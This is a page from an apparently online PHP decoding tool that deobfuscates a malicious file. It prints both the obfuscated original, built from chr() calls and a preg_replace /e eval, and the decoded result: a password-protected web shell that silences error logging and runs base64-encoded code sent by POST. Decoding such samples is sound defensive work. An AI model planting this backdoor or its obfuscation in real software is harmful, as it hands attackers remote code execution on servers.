Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$toYig="\x70r\x65g\x5f\x72".chr(101).chr(112).chr(108).chr(97)."\x63e";$k4sg=chr(101).chr(..
Decoded Output download
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
foreach ($_POST as $var)
{
if (!isset($code)) $code = $var;
elseif (!isset($pass)) $pass = $var;
else break;
}
if ($pass == "8MpC0JFqbzLccMXgZSFI1NK6OlZOMs8M")
{
eval(base64_decode($code));
}
}
exit;
Did this file decode correctly?
Original Code
$toYig="\x70r\x65g\x5f\x72".chr(101).chr(112).chr(108).chr(97)."\x63e";$k4sg=chr(101).chr(118)."\x61\x6C\x28".chr(98)."\x61\x73\x65\x364\x5F".chr(100)."\x65co\x64\x65".chr(40)."\x22\x51\x47\x56\x79c\x6D".chr(57)."y".chr(88)."3J\x6Cc\x479".chr(121).chr(100)."\x47".chr(108)."u\x5A".chr(121)."gw\x4bT\x73".chr(75).chr(81)."\x47\x6Cua".chr(86)."9\x7A\x5A".chr(88)."Q".chr(111).chr(73)."m".chr(82)."\x70".chr(99)."\x33\x42\x73".chr(89)."\x58".chr(108)."f".chr(90)."X\x4A\x79\x623JzI".chr(105).chr(119)."\x77K".chr(84)."\x73\x4BQ\x47".chr(108)."\x75".chr(97).chr(86)."\x39".chr(122)."\x5a".chr(88)."\x51o\x49".chr(109)."\x78\x76".chr(90).chr(49)."\x39l\x63n\x4Av\x63n\x4d\x69L\x44A\x70\x4F\x77\x70\x41".chr(97)."\x57".chr(53)."\x70\x58".chr(51)."N".chr(108)."d\x43".chr(103)."i\x5A\x58".chr(74)."yb3J".chr(102)."\x62\x47\x39\x6EI".chr(105)."w\x77K".chr(84)."sK\x43".chr(109).chr(108)."\x6d\x49\x43h".chr(112).chr(99)."3".chr(78)."\x6C\x64C".chr(103).chr(107)."\x58\x31\x42P\x55".chr(49).chr(81)."\x70\x49C\x59\x6D".chr(73)."Glz\x58".chr(50)."Fy\x63".chr(109)."F\x35K".chr(67)."R\x66U".chr(69)."\x39".chr(84)."V\x43".chr(107)."gJ\x69\x59g".chr(89).chr(50).chr(57).chr(49).chr(98)."\x6E\x51".chr(111)."J\x46".chr(57)."Q\x54".chr(49).chr(78)."\x55K\x54\x34xKQ\x70\x37".chr(67)."glm\x62".chr(51)."J".chr(108)."\x59W\x4E".chr(111).chr(73)."C\x67\x6bX1BP".chr(85)."\x31\x51g".chr(89).chr(88)."Mg".chr(74)."H\x5a\x68c\x69\x6b".chr(75)."\x43X".chr(115)."KCQ\x6Cp\x5a\x69A\x6f\x49".chr(87)."l\x7a".chr(99)."2\x56\x30K\x43".chr(82)."\x6ab".chr(50)."\x52".chr(108).chr(75)."\x53".chr(107)."gJG\x4E\x76\x5aGUg\x50\x53".chr(65).chr(107)."d".chr(109).chr(70)."y".chr(79)."\x77\x6f\x4A\x43\x57\x56sc".chr(50)."V\x70\x5a".chr(105)."\x41".chr(111)."I".chr(87)."l".chr(122)."\x63\x32\x560\x4B".chr(67)."R".chr(119)."\x59\x58Nz\x4B".chr(83).chr(107)."g".chr(74).chr(72).chr(66)."hc\x33\x4d\x67".chr(80)."\x53\x41\x6B\x64".chr(109)."\x46\x79".chr(79)."\x77\x6f".chr(74)."\x43\x57\x56".chr(115)."\x632\x55".chr(103).chr(89)."\x6e\x4a\x6C\x59\x57".chr(115)."\x37".chr(67).chr(103)."\x6C\x39\x43go".chr(74)."a".chr(87)."Y".chr(103)."K\x43R\x77\x59\x58N".chr(122)."\x49D\x30\x39IC\x494T".chr(88).chr(66).chr(68)."ME".chr(112)."\x47\x63\x57\x4A\x36T\x47\x4E".chr(106).chr(84).chr(86)."hnW\x6CN".chr(71)."\x53TF\x4F".chr(83)."z\x5A\x50".chr(98)."F".chr(112).chr(80).chr(84)."XM4".chr(84).chr(83).chr(73).chr(112)."\x43\x67\x6C7".chr(67)."\x67".chr(107)."J".chr(90)."\x58\x5a".chr(104)."\x62C\x68\x69".chr(89).chr(88)."\x4e".chr(108).chr(78)."\x6aRf".chr(90).chr(71).chr(86).chr(106)."b".chr(50)."R\x6C\x4BC\x52".chr(106).chr(98)."\x32".chr(82)."lK\x53k".chr(55).chr(67)."g\x6C\x39C\x6E0".chr(75)."Z".chr(88).chr(104)."\x70d\x44\x73=\x22\x29".chr(41).chr(59);$uezgm="\x2f\x348".chr(100).chr(51)."\x38".chr(50)."\x65\x33".chr(98)."8\x64\x34\x31\x33b\x34\x39".chr(48)."a\x65\x32\x32\x36\x64b\x30\x36".chr(98)."\x393\x30".chr(50).chr(47)."\x65";$toYig($uezgm,$k4sg,"\x34\x38d".chr(51).chr(56).chr(50)."\x65\x33b\x38".chr(100).chr(52)."\x313".chr(98)."\x34".chr(57)."0".chr(97).chr(101)."22".chr(54)."\x64".chr(98).chr(48).chr(54)."\x62\x3930".chr(50));
Function Calls
| chr | 182 |
| preg_replace | 1 |
| base64_decode | 1 |
Stats
| MD5 | 4219a561237db937313fc11d8f43cce2 |
| Eval Count | 2 |
| Decode Time | 210 ms |